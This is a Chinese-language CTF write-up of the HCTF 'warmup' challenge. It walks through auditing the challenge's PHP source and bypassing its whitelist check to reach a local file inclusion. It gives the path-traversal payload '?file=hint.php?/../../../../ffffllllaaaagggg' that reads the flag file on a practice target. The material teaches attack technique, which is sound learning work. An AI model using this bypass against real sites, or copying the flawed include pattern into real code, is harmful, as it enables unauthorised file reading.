warmup Writeup

难度:2,题目来源:HCTF,靶场地址:ADworld warmup

访问环境ip

/images/wp1.png

空空如也,只有滑稽…

检查网页

F12 => 检查网页

网页源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

整个源码里面最可疑的地方就是 <!--source.php-->,由此访问它。

访问source.php

ip:http://xxx.xxx.xxx.xxx:xxxx/source.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

网页直接显示了代码,显然从这一步这道题的意向就很明确了,代码审计。

访问hint.php

上面代码中,很容易注意到除了source.php之外还有hint.php,那自然还是要看一看的。

/images/wp2.png

1
flag not here, and flag in ffffllllaaaagggg

只有上面一句话,得知flag位置,是在ffffllllaaaagggg中。

回去继续审源码,发现php关键函数include,那就是要构造file参数,通过include就直接加载ffffllllaaaagggg

payload构造

/images/wp3.png

要想成功执行include,首先要过这3个条件,至于前两个,直接写ffffllllaaaagggg也是成立的,所以关键点在第3个。这取决于上面定义的函数。

函数思路为传入参数file => $page,先构造了白名单source.php和hint.php,为空或不为字符串,直接返回false,再判断page是否在白名单中,在返回true,不在继续下一步。mb_substr()函数和mb_strpos()函数主要是取原字符串的子串,在这里是取出?之前的字符串,在判断该子串是否在白名单中,在则true,否则false。后续只是对子串又做了一遍类似操作,不赘述了。两次判断都不在白名单则返回false。

由此基于第一遍取子串就直接可以构造payload的第一版了:http://xxx.xxx.xxx.xxx:xxxx?file=hint.php?/ffffllllaaaagggg

传入hint.php?/ffffllllaaaagggg经过第一遍取子串取出$_page=hint.php能返回true没问题。(source.php也可)

此时include相当于include hint.php?/ffffllllaaaagggg,但是执行后是存在问题的,并没有显示,还是一片空白。这种情况猜测是ffffllllaaaagggg文件不在/目录下,可能在/的某一级子目录。一种方法是一级一级试,在这里其实文件名给了暗示,ffff等均是四个,猜测四级目录,payload如下:

1
http://xx.xx.xx.xx:xxxx/?file=hint.php?/../../../../ffffllllaaaagggg

GetFlag

image-20221125232227697

0%